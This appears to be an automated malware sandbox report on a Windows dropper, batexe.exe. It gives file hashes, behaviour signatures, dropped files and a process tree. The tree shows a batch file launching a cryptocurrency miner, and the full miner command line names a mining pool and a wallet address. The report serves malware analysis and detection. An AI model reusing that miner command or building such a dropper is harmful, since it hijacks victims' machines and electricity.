73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 03:57

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
928	b2e.exe
2408	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2408	cpuminer-sse2.exe
2408	cpuminer-sse2.exe
2408	cpuminer-sse2.exe
2408	cpuminer-sse2.exe
2408	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1008-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 928	1008	batexe.exe	74
PID 1008 wrote to memory of 928	1008	batexe.exe	74
PID 1008 wrote to memory of 928	1008	batexe.exe	74
PID 928 wrote to memory of 4140	928	b2e.exe	75
PID 928 wrote to memory of 4140	928	b2e.exe	75
PID 928 wrote to memory of 4140	928	b2e.exe	75
PID 4140 wrote to memory of 2408	4140	cmd.exe	78
PID 4140 wrote to memory of 2408	4140	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Users\Admin\AppData\Local\Temp\8D1D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8D1D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8D1D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8F20.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8D1D.tmp\b2e.exe

Filesize
256KB

MD5
18c91665349cf71648d4af5d21843ea9

SHA1
6be582f8587a42e96d73bf174cb6d6345761c192

SHA256
979d6a944f61f2cde2dea724ce5e0297005602c15fbbbcb917540ec1b1f3f937

SHA512
544d110b9bde470b9411a91f9195bf5e6914c1e5c59ec4485be08acaecd0e519d1c932181cf5a76d5241dedc362beb56f2fb407d808d554e43d408b34a621d48

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D1D.tmp\b2e.exe

Filesize
12.6MB

MD5
f3497546e1e71f1786debe900dd40adb

SHA1
3b09b886aee33b124bc0e60d379479cf37465ada

SHA256
0a156b0f227aaf91248cb991a34381392e644966a49e06eb52a1d1f66edc9ee2

SHA512
1dd6dec694c9f9c229efb9ba0bf6711d9c1ca01d02bcc99262df5189e634527d4f918ba9a723adf9b4f6f20476a4e08a8023c4bef019c265ceb3a422cf7dc702

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F20.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.4MB

MD5
4f749bcb2c3d32761eec0a48b34af780

SHA1
839a36e931d348e97f48d7d68d5cc0d9962d9099

SHA256
9a4fabeab0e2d16ebceac97525204cd5badaa111fcf0c240df5ec368e72e95d7

SHA512
cade8f31bd0154d326316a14e9ed73a8e24922b73e6e54fa9a8e28e695221d342a6f748df7903bb33a5e91a0c867453f50800cfc900e6a8fab7888354c1a5f53

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.2MB

MD5
2686e0c1305192b7c71c94675a1b7900

SHA1
9ff267cad8dad848d96edf18fe736da33185b815

SHA256
8613091f79f5941ec8fbc960f0b9ce82f7d516c4c2e619f6deb75c99d65de69c

SHA512
f45ad83bbf227fcad9a8747c5a89466f40cd20d8b1c0f3246c74bb6c9b896ced54d709396cf69425baaaa301053d673402cf85fa022316fd0497d9aba8f36d04

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.0MB

MD5
c78051e9ade0bd2ef2f19e2625f74557

SHA1
d304611a32ee5cd419a9b482dee03f376d4a1aef

SHA256
97a70f8ac0e03cb40954bc4c87f7ca7f22c9dcc78ea2c3ab97b4420cbfd27d54

SHA512
af0b1e7e3c7f49d9d51c8c0046b16ef27d10afec1f44cd5a3339ad2ffd2af16dbb58fba800d3e74a173ed5547716738ffbe11d4196b84191ec688d6943b68682

Download Submit
memory/928-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/928-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1008-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2408-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2408-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-43-0x0000000051150000-0x00000000511E8000-memory.dmp

Filesize
608KB

Download
memory/2408-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2408-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2408-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2408-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download